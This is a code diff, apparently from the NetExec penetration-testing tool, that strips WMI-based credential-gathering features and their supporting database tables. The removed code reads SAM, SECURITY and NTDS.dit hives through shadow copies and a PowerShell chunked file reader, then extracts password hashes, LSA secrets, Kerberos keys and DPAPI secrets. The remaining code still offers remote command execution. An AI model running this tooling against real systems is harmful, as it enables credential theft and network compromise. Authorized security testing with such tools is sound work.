||||
try:
|
||||
for i in range(chunk_count):
|
||||
offset = i * chunk_size
|
||||
self.logger.debug(f"Reading bytes from {offset} to {offset + chunk_size if offset + chunk_size < callback_func.size else callback_func.size}")
|
||||
powershell_command = f"$fs=[IO.File]::OpenRead('{remote_path}');try {{ $fs.Seek({offset},[IO.SeekOrigin]::Begin)|Out-Null;$b=[byte[]]::new({chunk_size});$n=$fs.Read($b,0,$b.Length);Write-Output ([Convert]::ToBase64String($b,0,$n)) }} finally {{ $fs.Dispose() }}"
|
||||
output = self.execute_psh(powershell_command, get_output=True)
|
||||
data += base64.b64decode(output)
|
||||
return data
|
||||
except Exception as e2:
|
||||
self.logger.debug(f"Error while downloading {remote_path}: {e2}")
|
||||
self.logger.fail(f"Could not download {remote_path}")
|
||||
|
||||
elif e.error_code == 0x80041002: # WBEM_E_NOT_FOUND
|
||||
self.logger.fail(f"Cannot find file '{remote_path}'")
|
||||
else:
|
||||
self.logger.debug(f"Error while downloading {remote_path}: {e}")
|
||||
return None
|
||||
|
||||
def get_file_single(self, remote_path, download_path):
|
||||
if self.args.append_host:
|
||||
download_path = f"{self.hostname}-{remote_path}"
|
||||
|
||||
file_data = self.read_file(remote_path)
|
||||
if file_data is None:
|
||||
return False
|
||||
else:
|
||||
with open(download_path, "wb+") as file:
|
||||
file.write(file_data)
|
||||
return True
|
||||
|
||||
@requires_admin
|
||||
def get_file(self):
|
||||
for src, dest in self.args.get_file:
|
||||
self.logger.display(f'Copying "{src}" to "{dest}"')
|
||||
if self.get_file_single(src, dest):
|
||||
self.logger.success(f'File "{src}" was downloaded to "{dest}"')
|
||||
else:
|
||||
self.logger.fail(f'Could not get file "{src}"')
|
||||
|
||||
@requires_admin
|
||||
def sam(self):
|
||||
def add_sam_hash(sam_hash):
|
||||
self.logger.highlight(sam_hash)
|
||||
if "_history" in sam_hash:
|
||||
return
|
||||
username, _, lmhash, nthash, _, _, _ = sam_hash.split(":")
|
||||
# TODO: Implement wmi creds database
|
||||
add_sam_hash.sam_hashes += 1
|
||||
|
||||
add_sam_hash.sam_hashes = 0
|
||||
|
||||
output_filename = self.output_file_template.format(output_folder="sam")
|
||||
|
||||
bootkey = self.remote_ops.get_bootkey(output_filename)
|
||||
if bootkey is None:
|
||||
return
|
||||
|
||||
# Get the SAM hive
|
||||
sam_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SAM"
|
||||
if not self.get_file_single(sam_hive_path, f"{output_filename}.sam"):
|
||||
self.logger.fail("Could not get SAM hive")
|
||||
return
|
||||
|
||||
SAM = SAMHashes(
|
||||
f"{output_filename}.sam",
|
||||
bootkey,
|
||||
isRemote=None,
|
||||
history=self.args.history,
|
||||
perSecretCallback=lambda secret: add_sam_hash(secret),
|
||||
)
|
||||
self.logger.display("Dumping SAM hashes")
|
||||
SAM.dump()
|
||||
SAM.export(output_filename)
|
||||
self.logger.success(f"Dumped {highlight(add_sam_hash.sam_hashes)} SAM hashes to {output_filename + '.sam'}")
|
||||
|
||||
@requires_admin
|
||||
def lsa(self, quiet=False):
|
||||
def add_lsa_secret(secret):
|
||||
add_lsa_secret.secrets += 1
|
||||
if "dpapi_machinekey" not in secret:
|
||||
if not quiet:
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
|
||||
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
|
||||
if not quiet:
|
||||
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
|
||||
if "_SC_GMSA_{84A78B8C" in secret:
|
||||
gmsa_id = secret.split("_")[4].split(":")[0]
|
||||
data = bytes.fromhex(secret.split("_")[4].split(":")[1])
|
||||
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
||||
blob.fromString(data)
|
||||
currentPassword = blob["CurrentPassword"][:-2]
|
||||
ntlm_hash = MD4.new()
|
||||
ntlm_hash.update(currentPassword)
|
||||
passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8")
|
||||
if not quiet:
|
||||
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
|
||||
|
||||
add_lsa_secret.secrets = 0
|
||||
|
||||
output_filename = self.output_file_template.format(output_folder="lsa")
|
||||
|
||||
bootkey = self.remote_ops.get_bootkey(output_filename)
|
||||
if bootkey is None:
|
||||
return
|
||||
|
||||
# Get the LSA hive
|
||||
lsa_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SECURITY"
|
||||
if not self.get_file_single(lsa_hive_path, f"{output_filename}.security"):
|
||||
self.logger.fail("Could not get LSA hive")
|
||||
return
|
||||
|
||||
LSA = LSASecrets(
|
||||
f"{output_filename}.security",
|
||||
bootkey,
|
||||
None,
|
||||
isRemote=None,
|
||||
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
|
||||
)
|
||||
if not quiet:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.exportCached(output_filename)
|
||||
LSA.dumpSecrets()
|
||||
LSA.exportSecrets(output_filename)
|
||||
if not quiet:
|
||||
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {output_filename + '.secrets'} and {output_filename + '.cached'}")
|
||||
|
||||
@requires_admin
|
||||
def ntds(self):
|
||||
printed_kerb_keys_banner = False
|
||||
|
||||
def add_hash(secret_type, secret):
|
||||
nonlocal printed_kerb_keys_banner
|
||||
if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
|
||||
self.logger.display("Kerberos keys:")
|
||||
printed_kerb_keys_banner = True
|
||||
|
||||
# Count the type of secrets
|
||||
if secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
|
||||
add_hash.kerb_secrets += 1
|
||||
else:
|
||||
add_hash.nt_lm_secrets += 1
|
||||
|
||||
# Log the secret based on args
|
||||
if self.args.enabled:
|
||||
if "Enabled" in secret:
|
||||
secret = " ".join(secret.split(" ")[:-1])
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret
|
||||
self.logger.highlight(secret)
|
||||
|
||||
# Filter out computer accounts, history hashes and kerberos keys for adding to db
|
||||
if secret.find("$") == -1 and secret_type == NTDSHashes.SECRET_TYPE.NTDS and "_history" not in secret:
|
||||
if secret.find("\\") != -1:
|
||||
_, clean_hash = secret.split("\\")
|
||||
else:
|
||||
clean_hash = secret
|
||||
|
||||
try:
|
||||
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
|
||||
parsed_hash = f"{lmhash}:{nthash}"
|
||||
if validate_ntlm(parsed_hash):
|
||||
add_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
except Exception:
|
||||
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
self.logger.debug("Dumped hash is a computer account, not adding to db")
|
||||
|
||||
add_hash.nt_lm_secrets = 0
|
||||
add_hash.kerb_secrets = 0
|
||||
add_hash.added_to_db = 0
|
||||
|
||||
output_filename = self.output_file_template.format(output_folder="ntds")
|
||||
|
||||
bootkey = self.remote_ops.get_bootkey(output_filename)
|
||||
if bootkey is None:
|
||||
return
|
||||
|
||||
# Get the NTDS.dit file
|
||||
ntds_file = f"{self.remote_ops.shadow_copy_path}\\Windows\\NTDS\\ntds.dit"
|
||||
if not self.get_file_single(ntds_file, f"{output_filename}.ntds.dit"):
|
||||
self.logger.fail("Could not download NTDS.dit file")
|
||||
return
|
||||
|
||||
NTDS = NTDSHashes(
|
||||
f"{output_filename}.ntds.dit",
|
||||
self.remote_ops.bootkey,
|
||||
isRemote=False,
|
||||
history=self.args.history,
|
||||
noLMHash=True,
|
||||
justNTLM=not self.args.kerberos_keys,
|
||||
useVSSMethod=True,
|
||||
remoteOps=None,
|
||||
pwdLastSet=False,
|
||||
resumeSession=None,
|
||||
outputFileName=f"{output_filename}.ntds",
|
||||
justUser=self.args.userntds if self.args.userntds else None,
|
||||
printUserStatus=True,
|
||||
perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret),
|
||||
)
|
||||
|
||||
try:
|
||||
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
NTDS.dump()
|
||||
ntds_outfile = f"{output_filename}.ntds"
|
||||
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile}")
|
||||
if self.args.kerberos_keys:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
|
||||
except Exception as e:
|
||||
self.logger.fail(e)
|
||||
|
||||
@requires_admin
|
||||
def wmi_query(self, wql=None, namespace=None, callback_func=None):
|
||||
records = []
|
||||
@@ -691,7 +375,8 @@ class wmi(connection):
|
||||
namespace = self.args.wmi_namespace
|
||||
|
||||
try:
|
||||
iWbemServices = self.get_namespace(namespace)
|
||||
iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
|
||||
self.iWbemLevel1Login.RemRelease()
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(wql)
|
||||
except Exception as e:
|
||||
self.logger.debug(str(e))
|
||||
@@ -725,7 +410,7 @@ class wmi(connection):
|
||||
record = dict(wmi_results.getProperties())
|
||||
records.append(record)
|
||||
|
||||
snapshots = self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func)
|
||||
snapshots = self.wmi_query(wql=wql, namespace="root\\cimv2", callback_func=callback_func)
|
||||
if not snapshots:
|
||||
self.logger.info("No volume shadow copies found.")
|
||||
return
|
||||
@@ -759,8 +444,7 @@ class wmi(connection):
|
||||
self.iWbemLevel1Login,
|
||||
self.logger,
|
||||
self.args.exec_timeout,
|
||||
self.args.codec,
|
||||
self.get_namespace("//./root/cimv2")
|
||||
self.args.codec
|
||||
)
|
||||
elif self.args.exec_method == "wmiexec-event":
|
||||
exec_method = wmiexec_event.WMIEXEC_EVENT(
|
||||
@@ -768,8 +452,7 @@ class wmi(connection):
|
||||
self.iWbemLevel1Login,
|
||||
self.logger,
|
||||
self.args.exec_timeout,
|
||||
self.args.codec,
|
||||
self.get_namespace("//./root/subscription")
|
||||
self.args.codec
|
||||
)
|
||||
output = exec_method.execute(command, get_output, use_powershell=use_powershell)
|
||||
|
||||
@@ -801,45 +484,3 @@ class wmi(connection):
|
||||
return output
|
||||
else:
|
||||
return output
|
||||
|
||||
def get_namespace(self, namespace: str) -> IWbemServices:
|
||||
"""Load WMI namespaces and place them in cache. If a namespace is already loaded in cache, return the namespace in cache"""
|
||||
if namespace in self.namespaces:
|
||||
return self.namespaces[namespace]
|
||||
self.logger.debug(f"Getting namespace {namespace}")
|
||||
self.namespaces[namespace] = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
|
||||
self.iWbemLevel1Login.RemRelease()
|
||||
return self.namespaces[namespace]
|
||||
|
||||
@property
|
||||
def remote_ops(self):
|
||||
if self._remote_ops is None:
|
||||
self._remote_ops = RemoteOperations(self, shadow_id=self.args.shadow_id)
|
||||
return self._remote_ops
|
||||
|
||||
@requires_admin
|
||||
def sccm(self):
|
||||
self.dpapi_triage.triage_sccm()
|
||||
|
||||
@requires_admin
|
||||
def dpapi(self):
|
||||
self.dpapi_triage.triage_dpapi()
|
||||
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
address=self.remoteName,
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
do_kerberos=self.kerberos,
|
||||
aesKey=self.aesKey,
|
||||
use_kcache=self.use_kcache,
|
||||
)
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
@@ -1,35 +1,25 @@
|
||||
import base64
|
||||
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy import Column, Integer, PrimaryKeyConstraint, String
|
||||
from sqlalchemy.orm import declarative_base
|
||||
from nxc.database import BaseDB
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
Base = declarative_base()
|
||||
|
||||
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.UsersTable = None
|
||||
self.CredentialsTable = None
|
||||
self.HostsTable = None
|
||||
self.DpapiBackupkeyTable = None
|
||||
self.DpapiSecretsTable = None
|
||||
|
||||
super().__init__(db_engine)
|
||||
|
||||
class User(Base):
|
||||
__tablename__ = "users"
|
||||
class Credential(Base):
|
||||
__tablename__ = "credentials"
|
||||
id = Column(Integer)
|
||||
domain = Column(String)
|
||||
username = Column(String)
|
||||
password = Column(String)
|
||||
credtype = Column(String)
|
||||
pillaged_from_hostid = Column(Integer)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
ForeignKeyConstraint(["pillaged_from_hostid"], ["hosts.id"]),
|
||||
)
|
||||
|
||||
class Host(Base):
|
||||
@@ -43,304 +33,10 @@ class database(BaseDB):
|
||||
PrimaryKeyConstraint("id"),
|
||||
)
|
||||
|
||||
class DpapiSecret(Base):
|
||||
__tablename__ = "dpapi_secrets"
|
||||
id = Column(Integer)
|
||||
host = Column(String)
|
||||
dpapi_type = Column(String)
|
||||
windows_user = Column(String)
|
||||
username = Column(String)
|
||||
password = Column(String)
|
||||
url = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
|
||||
)
|
||||
|
||||
class DpapiBackupKey(Base):
|
||||
__tablename__ = "dpapi_backupkey"
|
||||
id = Column(Integer)
|
||||
domain = Column(String)
|
||||
pvk = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("domain"),
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
Base.metadata.create_all(db_conn)
|
||||
|
||||
def reflect_tables(self):
|
||||
self.UsersTable = self.reflect_table(self.User)
|
||||
self.CredentialsTable = self.reflect_table(self.Credential)
|
||||
self.HostsTable = self.reflect_table(self.Host)
|
||||
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
|
||||
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
|
||||
|
||||
def add_host(self, ip, hostname, port):
|
||||
"""Check if this host has already been added to the database, if not, add it in."""
|
||||
hosts = []
|
||||
updated_ids = []
|
||||
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# create new host
|
||||
if not results:
|
||||
new_host = {
|
||||
"ip": ip,
|
||||
"hostname": hostname,
|
||||
"port": port,
|
||||
}
|
||||
hosts = [new_host]
|
||||
# update existing hosts data
|
||||
else:
|
||||
for host in results:
|
||||
host_data = host._asdict()
|
||||
# only update column if it is being passed in
|
||||
if ip is not None:
|
||||
host_data["ip"] = ip
|
||||
if hostname is not None:
|
||||
host_data["hostname"] = hostname
|
||||
if port is not None:
|
||||
host_data["port"] = port
|
||||
if host_data not in hosts:
|
||||
hosts.append(host_data)
|
||||
updated_ids.append(host_data["id"])
|
||||
nxc_logger.debug(f"Update Hosts: {hosts}")
|
||||
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id)
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns)
|
||||
|
||||
self.db_execute(q, hosts) # .scalar()
|
||||
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
|
||||
if updated_ids:
|
||||
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
||||
return updated_ids
|
||||
|
||||
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
|
||||
"""Check if this credential has already been added to the database, if not add it in."""
|
||||
credentials = []
|
||||
|
||||
if pillaged_from and not self.is_host_valid(pillaged_from):
|
||||
nxc_logger.debug("Invalid host")
|
||||
return
|
||||
|
||||
q = select(self.UsersTable).filter(
|
||||
func.lower(self.UsersTable.c.domain) == func.lower(domain),
|
||||
func.lower(self.UsersTable.c.username) == func.lower(username),
|
||||
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
|
||||
)
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# add new credential
|
||||
if not results:
|
||||
new_cred = {
|
||||
"credtype": credtype,
|
||||
"domain": domain,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"pillaged_from": pillaged_from,
|
||||
}
|
||||
credentials = [new_cred]
|
||||
# update existing cred data
|
||||
else:
|
||||
for creds in results:
|
||||
# this will include the id, so we don't touch it
|
||||
cred_data = creds._asdict()
|
||||
# only update column if it is being passed in
|
||||
if credtype is not None:
|
||||
cred_data["credtype"] = credtype
|
||||
if domain is not None:
|
||||
cred_data["domain"] = domain
|
||||
if username is not None:
|
||||
cred_data["username"] = username
|
||||
if password is not None:
|
||||
cred_data["password"] = password
|
||||
if pillaged_from is not None:
|
||||
cred_data["pillaged_from"] = pillaged_from
|
||||
# only add cred to be updated if it has changed
|
||||
if cred_data not in credentials:
|
||||
credentials.append(cred_data)
|
||||
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id)
|
||||
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users)
|
||||
nxc_logger.debug(f"Adding credentials: {credentials}")
|
||||
|
||||
self.db_execute(q_users, credentials) # .scalar()
|
||||
|
||||
def remove_credentials(self, creds_id):
|
||||
"""Removes a credential ID from the database"""
|
||||
self.db_execute(delete(self.UsersTable).where(self.UsersTable.c.id.in_(creds_id)))
|
||||
|
||||
def is_credential_valid(self, credential_id):
|
||||
"""Check if this credential ID is valid."""
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.id == credential_id,
|
||||
self.UsersTable.c.password is not None,
|
||||
)
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_credentials(self, filter_term=None, cred_type=None):
|
||||
"""Return credentials from the database."""
|
||||
# if we're returning a single credential by ID
|
||||
if self.is_credential_valid(filter_term):
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term)
|
||||
elif cred_type:
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type)
|
||||
# if we're filtering by username
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term))
|
||||
# otherwise return all credentials
|
||||
else:
|
||||
q = select(self.UsersTable)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
self.UsersTable.c.username == username,
|
||||
self.UsersTable.c.password == password,
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
)
|
||||
results = self.db_execute(q).first()
|
||||
return results.id
|
||||
|
||||
def is_host_valid(self, host_id):
|
||||
"""Check if this host ID is valid."""
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def add_domain_backupkey(self, domain: str, pvk: bytes):
|
||||
"""
|
||||
Add domain backupkey
|
||||
:domain is the domain fqdn
|
||||
:pvk is the domain backupkey
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
if not len(results):
|
||||
pvk_encoded = base64.b64encode(pvk)
|
||||
backup_key = {"domain": domain, "pvk": pvk_encoded}
|
||||
try:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
|
||||
|
||||
self.db_execute(q, [backup_key]) # .scalar()
|
||||
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
|
||||
|
||||
def get_domain_backupkey(self, domain: str | None = None):
|
||||
"""
|
||||
Get domain backupkey
|
||||
:domain is the domain fqdn
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable)
|
||||
if domain is not None:
|
||||
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
|
||||
|
||||
if len(results) > 0:
|
||||
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
|
||||
return results
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this DPAPI secret ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
self,
|
||||
host: str,
|
||||
dpapi_type: str,
|
||||
windows_user: str,
|
||||
username: str,
|
||||
password: str,
|
||||
url: str = "",
|
||||
):
|
||||
"""Add dpapi secrets to nxcdb"""
|
||||
secret = {
|
||||
"host": host,
|
||||
"dpapi_type": dpapi_type,
|
||||
"windows_user": windows_user,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"url": url,
|
||||
}
|
||||
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
|
||||
|
||||
self.db_execute(q, [secret]) # .scalar()
|
||||
|
||||
nxc_logger.debug(
|
||||
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
|
||||
|
||||
def get_dpapi_secrets(
|
||||
self,
|
||||
filter_term=None,
|
||||
host: str | None = None,
|
||||
dpapi_type: str | None = None,
|
||||
windows_user: str | None = None,
|
||||
username: str | None = None,
|
||||
url: str | None = None,
|
||||
):
|
||||
"""Get dpapi secrets from nxcdb"""
|
||||
q = select(self.DpapiSecretsTable)
|
||||
|
||||
if self.is_dpapi_secret_valid(filter_term):
|
||||
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif host:
|
||||
q = q.filter(self.DpapiSecretsTable.c.host == host)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif dpapi_type:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
|
||||
elif windows_user:
|
||||
like_term = func.lower(f"%{windows_user}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif username:
|
||||
like_term = func.lower(f"%{username}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif url:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
|
||||
return results
|
||||
@@ -1,7 +1,3 @@
|
||||
from argparse import _StoreTrueAction
|
||||
from nxc.helpers.args import get_conditional_action
|
||||
|
||||
|
||||
def proto_args(parser, parents):
|
||||
wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", conflict_handler="resolve", parents=parents)
|
||||
wmi_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
@@ -14,33 +10,12 @@ def proto_args(parser, parents):
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="Authenticate locally to each target")
|
||||
|
||||
cred_gathering_group = wmi_parser.add_argument_group("Credential Gathering")
|
||||
cred_gathering_group.add_argument("--dpapi", choices={"cookies"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems")
|
||||
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
|
||||
cred_gathering_group.add_argument("--use-snapshot-id", action="store", dest="shadow_id", help="Use an existing VSS snapshot ID for SAM, LSA and/or NTDS dump")
|
||||
cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs")
|
||||
ntds_arg = cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs")
|
||||
cred_gathering_group.add_argument("--history", action="store_true", help="Also retrieve password history (NTDS.dit or SAM)")
|
||||
# NTDS options
|
||||
kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)")
|
||||
exclusive = cred_gathering_group.add_mutually_exclusive_group()
|
||||
enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit)")
|
||||
kerb_keys_arg.make_required = [ntds_arg]
|
||||
enabled_arg.make_required = [ntds_arg]
|
||||
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)")
|
||||
|
||||
egroup = wmi_parser.add_argument_group("Mapping/Enumeration")
|
||||
egroup.add_argument("--wmi-query", metavar="QUERY", dest="wmi_query", type=str, help="Issues the specified WMI query")
|
||||
egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", type=str, default="root\\cimv2", help="WMI Namespace (default: %(default)s)")
|
||||
|
||||
files_group = wmi_parser.add_argument_group("File Operations")
|
||||
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
|
||||
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
|
||||
|
||||
cgroup = wmi_parser.add_argument_group("Command Execution")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", type=str, help="Creates a new cmd process and executes the specified command with output")
|
||||
|
||||
@@ -1,87 +0,0 @@
|
||||
from binascii import hexlify
|
||||
|
||||
from impacket.examples.secretsdump import LocalOperations
|
||||
|
||||
|
||||
class RemoteOperations:
|
||||
def __init__(self, connection, shadow_id=None):
|
||||
self.connection = connection
|
||||
|
||||
self.cimv2_namespace = self.connection.get_namespace("//./root/cimv2")
|
||||
|
||||
# Cached variables
|
||||
self.bootkey = None
|
||||
if shadow_id is not None:
|
||||
self.connection.logger.display(f"Using existing VSS Snapshot ID: {shadow_id}")
|
||||
self._shadow_id = shadow_id
|
||||
self._shadow_copy_path = None
|
||||
|
||||
# Keep track if we created a Shadow Copy to delete it later
|
||||
self.shadow_copy_created = False
|
||||
|
||||
def __del__(self):
|
||||
# If we created a Shadow Copy, delete it
|
||||
if self.shadow_copy_created:
|
||||
wmiPath = f'Win32_ShadowCopy.ID="{self.shadow_id}"'
|
||||
self.connection.logger.debug(f"Trying to delete ShadowCopy with ID {self.shadow_id}")
|
||||
